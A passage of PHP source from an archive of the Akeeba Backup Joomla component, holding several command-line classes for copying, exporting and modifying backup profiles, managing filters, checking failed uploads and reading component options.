			$result = $table->save($profileData);
			$error  = null;
		}
		catch (\Throwable $e)
		{
			$result = false;
			$error  = $e->getMessage();
		}

		if ($result === false && $error === null)
		{
			/** @deprecated 10.1.0 Only for Joomla 4 b/c. Remove in 11. */
			/** @noinspection PhpDeprecationInspection */
			$error = $table->getError();
		}

		if ($result === false)
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_PROFILE_COPY_ERR_FAILED', $id, $error));

			return 2;
		}

		if ($format == 'json')
		{
			echo json_encode($table->getId());

			return 0;
		}

		$this->ioStyle->success(Text::sprintf('COM_AKEEBABACKUP_CLI_PROFILE_COPY_LBL_SUCCESS', $table->getId()));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addArgument('id', InputOption::VALUE_REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_ID'));
		$this->addOption('filters', null, InputOption::VALUE_NONE, Text::_('COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_FILTERS'));
		$this->addOption('description', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_DESCRIPTION'), null);
		$this->addOption('quickicon', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_QUICKICON'), null);
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_PROFILE_COPY_OPT_FORMAT'), 'text');

		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_PROFILE_COPY_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_PROFILE_COPY_HELP'));
	}
}
PK     \'o    !  src/CliCommands/ProfileExport.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\PrintFormattedArray;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ProfileModel;
use Akeeba\Component\AkeebaBackup\Administrator\Table\ProfileTable;
use Akeeba\Engine\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:profile:export
 *
 * Exports an Akeeba Backup profile as a JSON string.
 *
 * @since   7.5.0
 */
class ProfileExport extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use PrintFormattedArray;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:profile:export';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$id      = (int) $this->cliInput->getArgument('id') ?? 0;
		$filters = (bool) $this->cliInput->getOption('filters') ?? false;

		/** @var ProfileModel $model */
		$model = $this->mvcFactory->createModel('Profile', 'Administrator');
		/** @var ProfileTable $table */
		$table = $model->getTable();

		if (!$table->load($id))
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_ERR_NOT_FOUND', $id));

			return 1;
		}

		$data = $table->getProperties();

		if (!$filters)
		{
			unset($data['filters']);
		}

		unset($data['id']);

		// Decrypt configuration data if necessary
		if (substr($data['configuration'], 0, 12) == '###AES128###')
		{
			// Load the server key file if necessary
			$key = Factory::getSecureSettings()->getKey();

			$data['configuration'] = Factory::getSecureSettings()->decryptSettings($data['configuration'], $key);
		}

		echo json_encode($data);

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addArgument('id', InputOption::VALUE_REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_OPT_ID'));
		$this->addOption('filters', null, InputOption::VALUE_NONE, Text::_('COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_OPT_FILTERS'));

		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_HELP'));
	}
}
PK     \+  +     src/CliCommands/FilterDelete.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\FilterRoots;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\IsPro;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\PrintFormattedArray;
use Akeeba\Engine\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:filter:delete
 *
 * Delete a filter value known to Akeeba Backup.
 *
 * @since   7.5.0
 */
class FilterDelete extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use PrintFormattedArray;
	use IsPro;
	use FilterRoots;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:filter:delete';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$profileId = (int) ($this->cliInput->getOption('profile') ?? 1);

		define('AKEEBA_PROFILE', $profileId);

		$filterType = (string) ($this->cliInput->getOption('filterType') ?? 'files');
		$target     = (in_array($filterType, [
			'tables', 'tabledata', 'regextables', 'regextabledata', 'multidb',
		])) ? 'db' : 'fs';
		$root       = (string) ($this->cliInput->getOption('root') ?? (($target == 'fs') ? '[SITEROOT]' : '[SITEDB]'));

		if (!in_array($root, $this->getRoots($target)))
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_FILTER_DELETE_ERR_UNKNOWN_ROOT', $target, $root));

			return 1;
		}

		$filter = (string) $this->cliInput->getArgument('filter') ?? '';

		$this->ioStyle->title(Text::sprintf(
			'COM_AKEEBABACKUP_CLI_FILTER_DELETE_HEAD',
			$target === 'db' ? Text::_('COM_AKEEBABACKUP_CLI_FILTER_TYPE_DATABASE') : Text::_('COM_AKEEBABACKUP_CLI_FILTER_TYPE_FILESYSTEM'),
			$filter,
			$filterType,
			$profileId
		));

		// Delete the filter
		$filterObject = Factory::getFilterObject($filterType);

		if ((stripos($filterType, 'regex') !== false) && !$this->isPro())
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_FILTER_DELETE_ONLY_PRO', $filterType));

			return 2;
		}

		switch ($filterType)
		{
			case 'extradirs':
			case 'multidb':
				if (!$this->isPro())
				{
					$this->ioStyle->error(Text::sprintf("COM_AKEEBABACKUP_CLI_FILTER_DELETE_ONLY_PRO", $filterType));

					return 2;
				}

				$success = $filterObject->remove($filter);
				break;

			default:
				$success = $filterObject->remove($root, $filter);
				break;
		}

		if (!$success)
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_FILTER_DELETE_ERR_FAILED', $filter, $filterType));

			return 3;
		}

		Factory::getFilters()->save();

		$this->ioStyle->success(Text::sprintf('COM_AKEEBABACKUP_CLI_FILTER_DELETE_LBL_DELETED', $filter, $filterType));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addArgument('filter', InputArgument::REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_FILTER'));
		$this->addOption('root', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_ROOT'), '');
		$this->addOption('filterType', null, InputOption::VALUE_REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_FILTERTYPE'), 'files');
		$this->addOption('profile', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_PROFILE'), 1);

		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_FILTER_DELETE_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_FILTER_DELETE_HELP'));
	}
}
PK     \axo  o  !  src/CliCommands/ProfileModify.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\PrintFormattedArray;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ProfileModel;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:profile:modify
 *
 * Modifies an Akeeba Backup profile
 *
 * @since   7.5.0
 */
class ProfileModify extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use PrintFormattedArray;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:profile:modify';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$id = (int) $this->cliInput->getArgument('id') ?? 0;

		/** @var ProfileModel $model */
		$model    = $this->getMVCFactory()->createModel('Profile', 'Administrator');
		$table    = $model->getTable();
		$isLoaded = $table->load($id);

		if (!$isLoaded)
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_ERR_NOTFOUND', $id));

			return 1;
		}

		$changes = [];

		$description = (string) $this->cliInput->getOption('description') ?? 0;

		if (!is_null($description))
		{
			$changes['description'] = $description;
		}

		$changes['quickicon'] = (bool) $this->cliInput->getOption('quickicon') ?? $table->quickicon;

		try
		{
			$result = $table->save($changes);
			$error  = null;
		}
		catch (\Exception $e)
		{
			$result = false;
			$error  = $e->getMessage();
		}

		if ($result === false && $error === null)
		{
			/** @deprecated 10.1.0 Only for Joomla 4 b/c. Remove in 11. */
			/** @noinspection PhpDeprecationInspection */
			$error = $table->getError();
		}

		if (!$result)
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_ERR_GENERIC', $id, $error));

			return 2;
		}

		$this->ioStyle->success(Text::sprintf('COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_LBL_SUCCESS', $table->getId()));

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addArgument('id', InputOption::VALUE_REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_ID'));
		$this->addOption('description', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_DESCRIPTION'), null);
		$this->addOption('quickicon', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_QUICKICON'), null);

		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_HELP'));
	}
}
PK     \H
  
  %  src/CliCommands/BackupCheckUpload.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\MemoryInfo;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\TimeInfo;
use Akeeba\Component\AkeebaBackup\Administrator\Model\StatisticsModel;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:backup:check
 *
 * CHeck for failed backups and sends emails about them
 *
 * @since   7.5.0
 */
class BackupCheckUpload extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use MemoryInfo;
	use TimeInfo;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:backup:check:upload';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$this->ioStyle->title(Text::_('COM_AKEEBABACKUP_CLI_HEAD_FAILEDUPLOAD'));

		/** @var StatisticsModel $model */
		$model = $this->getMVCFactory()->createModel('Statistics', 'Administrator');
		$model->setStateSetFlag(true);

		$result = $model->notifyFailedUploads();

		if ($result['result'])
		{
			$this->ioStyle->success($result['message']);

			return 0;
		}

		$this->ioStyle->warning($result['message']);

		return 1;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_FAILEDUPLOAD_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_FAILEDUPLOAD_HELP'));
	}
}
PK     \      src/CliCommands/FilterList.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\FilterRoots;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\IsPro;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\PrintFormattedArray;
use Akeeba\Component\AkeebaBackup\Administrator\Model\DatabasefiltersModel;
use Akeeba\Component\AkeebaBackup\Administrator\Model\FilefiltersModel;
use Akeeba\Component\AkeebaBackup\Administrator\Model\IncludefoldersModel;
use Akeeba\Component\AkeebaBackup\Administrator\Model\MultipledatabasesModel;
use Akeeba\Component\AkeebaBackup\Administrator\Model\RegexdatabasefiltersModel;
use Akeeba\Component\AkeebaBackup\Administrator\Model\RegexfilefiltersModel;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:filter:list
 *
 * Get the filter values known to Akeeba Backup.
 *
 * @since   7.5.0
 */
class FilterList extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use PrintFormattedArray;
	use IsPro;
	use FilterRoots;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:filter:list';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$profileId = (int) ($this->cliInput->getOption('profile') ?? 1);

		define('AKEEBA_PROFILE', $profileId);

		$root   = (string) ($this->cliInput->getOption('root') ?? '');
		$target = (string) ($this->cliInput->getOption('target') ?? 'fs');
		$type   = (string) ($this->cliInput->getOption('type') ?? 'exclude');
		$format = (string) ($this->cliInput->getOption('format') ?? 'table');

		if (!in_array($target, ['fs', 'db']))
		{
			$target = 'fs';
		}

		if (!in_array($type, ['include', 'exclude', 'regex']))
		{
			$type = 'exclude';
		}

		if (!$this->isPro())
		{
			$type = 'exclude';
		}

		$roots = $this->getRoots($target);

		if (empty($root))
		{
			$root = ($target == 'fs') ? '[SITEROOT]' : '[SITEDB]';
		}

		$output = [];

		if (!in_array($root, $roots))
		{
			$this->ioStyle->error(Text::sprintf(
				'COM_AKEEBABACKUP_CLI_FILTER_DELETE_ERR_UNKNOWN_ROOT',
				$target === 'db' ? Text::_('COM_AKEEBABACKUP_CLI_FILTER_TYPE_DATABASE') : Text::_('COM_AKEEBABACKUP_CLI_FILTER_TYPE_FILESYSTEM'),
				$root
			));

			return 1;
		}


		if ($format === 'table')
		{
			$this->ioStyle->title(Text::_('COM_AKEEBABACKUP_CLI_FILTER_LIST_TITLE'));
		}

		switch ("$target.$type")
		{
			case "fs.exclude":
				/** @var FilefiltersModel $model */
				$model      = $this->getMVCFactory()->createModel('Filefilters', 'Administrator');
				$allFilters = $model->getFilters($root);

				foreach ($allFilters as $item)
				{
					$output[] = [
						'filter' => $item['node'],
						'type'   => $item['type'],
					];
				}

				break;

			case "fs.regex":
				/** @var RegexfilefiltersModel $model */
				$model      = $this->getMVCFactory()->createModel('Regexfilefilters', 'Administrator');
				$allFilters = $model->get_regex_filters($root);

				foreach ($allFilters as $item)
				{
					$output[] = [
						'filter' => $item['item'],
						'type'   => $item['type'],
					];
				}

				break;

			case "fs.include":
				/** @var IncludefoldersModel $model */
				$model      = $this->getMVCFactory()->createModel('Includefolders', 'Administrator');
				$allFilters = $model->get_directories();

				foreach ($allFilters as $uuid => $item)
				{
					$output[] = [
						'filter'               => $uuid,
						'type'                 => 'extradirs',
						'filesystem_directory' => $item[0],
						'virtual_directory'    => $item[1],
					];
				}

				break;

			case "db.exclude":
				/** @var DatabasefiltersModel $model */
				$model      = $this->getMVCFactory()->createModel('Databasefilters', 'Administrator');
				$allFilters = $model->getFilters($root);

				foreach ($allFilters as $item)
				{
					$output[] = [
						'filter' => $item['node'],
						'type'   => $item['type'],
					];
				}

				break;

			case "db.regex":
				/** @var RegexdatabasefiltersModel $model */
				$model      = $this->getMVCFactory()->createModel('Regexdatabasefilters', 'Administrator');
				$allFilters = $model->get_regex_filters($root);

				foreach ($allFilters as $item)
				{
					$output[] = [
						'filter' => $item['item'],
						'type'   => $item['type'],
					];
				}

				break;

			case "db.include":
				/** @var MultipledatabasesModel $model */
				$model      = $this->getMVCFactory()->createModel('Multipledatabases', 'Administrator');
				$allFilters = $model->get_databases();

				foreach ($allFilters as $uuid => $item)
				{
					$output[] = [
						'filter'   => $uuid,
						'type'     => 'multidb',
						'host'     => $item['host'],
						'driver'   => $item['driver'],
						'port'     => $item['port'],
						'username' => $item['username'],
						'password' => $item['password'],
						'database' => $item['database'],
						'prefix'   => $item['prefix'],
						'dumpFile' => $item['dumpFile'],
					];
				}

				break;
		}

		return $this->printFormattedAndReturn($output, $format);
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addOption('root', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_ROOT'), '');
		$this->addOption('profile', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_PROFILE'), 1);
		$this->addOption('target', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_TARGET'), 'fs');
		$this->addOption('type', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_TYPE'), 'exclude');
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_FORMAT'), 'table');

		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_FILTER_LIST_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_FILTER_LIST_HELP'));
	}
}
PK     \%B       src/CliCommands/SysconfigGet.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ComponentOptions;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\PrintFormattedArray;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

/**
 * akeeba:sysconfig:get
 *
 * Gets the value of an Akeeba Backup component-wide option
 *
 * @since   7.5.0
 */
class SysconfigGet extends AbstractCommand
{
	use ConfigureIO;
	use ArgumentUtilities;
	use PrintFormattedArray;
	use ComponentOptions;
	use MVCFactoryAwareTrait;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  7.5.0
	 */
	protected static $defaultName = 'akeeba:sysconfig:get';

	/**
	 * Internal function to execute the command.
	 *
	 * @param   InputInterface   $input   The input to inject into the command.
	 * @param   OutputInterface  $output  The output to inject into the command.
	 *
	 * @return  integer  The command exit code
	 *
	 * @since   7.5.0
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$key     = (string) $this->cliInput->getArgument('key') ?? '';
		$format  = (string) $this->cliInput->getOption('format') ?? 'table';
		$options = $this->getComponentOptions();

		if (!array_key_exists($key, $options))
		{
			$this->ioStyle->error(Text::sprintf('COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_ERR_CANNOT_FIND', $key));

			return 1;
		}

		$value = $options[$key] ?? '';

		switch ($format)
		{
			case 'text':
			default:
				echo $value;
				break;

			case 'json':
				echo json_encode($value);
				break;

			case 'print_r':
				print_r($value);
				break;

			case 'var_dump':
				var_dump($value);
				break;

			case 'var_export':
				var_export($value);
				break;
		}

		return 0;
	}

	/**
	 * Configure the command.
	 *
	 * @return  void
	 *
	 * @since   7.5.0
	 */
	protected function configure(): void
	{
		$this->addArgument('key', null, InputOption::VALUE_REQUIRED, Text::_('COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_OPT_KEY'));
		$this->addOption('format', null, InputOption::VALUE_OPTIONAL, Text::_('COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_OPT_FORMAT'), 'text');

		$this->setDescription(Text::_('COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_DESC'));
		$this->setHelp(Text::_('COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_HELP'));
	}
}
PK     \DP	  	    src/CliCommands/Migrate.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\CliCommands;

use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ArgumentUtilities;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\ConfigureIO;
use Akeeba\Component\AkeebaBackup\Administrator\CliCommands\MixIt\InitialiseEngine;
use Akeeba\Component\AkeebaBackup\Administrator\Model\UpgradeModel;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

defined('_JEXEC') or die;

class Migrate extends \Joomla\Console\Command\AbstractCommand
{
	use MVCFactoryAwareTrait;
	use ConfigureIO;
	use ArgumentUtilities;
	use InitialiseEngine;

	/**
	 * The default command name
	 *
	 * @var    string
	 * @since  9.0.0
	 */
	protected static $defaultName = 'akeeba:migrate';

	/**
	 * @inheritDoc
	 */
	protected function doExecute(InputInterface $input, OutputInterface $output): int
	{
		$this->configureSymfonyIO($input, $output);

		try
		{
			$this->initialiseComponent($this->getApplication());
		}
		catch (\Throwable $e)
		{
			$this->ioStyle->error([
				Text::_('COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE'),
				$e->getMessage(),
			]);

			return 255;
		}

		$this->ioStyle->title(Text::_('COM_AKEEBABACKUP_CLI_HEAD_MIGRATE'));

		// Is the Akeeba Backup 8 component installed?
		$hasAkeebaBackup8 = ComponentHelper::isInstalled('com_akeeba');

		if (!$hasAkeebaBackup8)
		{
			$this->ioStyle->error(Text::_('COM_AKEEBABACKUP_CLI_MIGRATE_NOAB8'));

			return 1;
		}

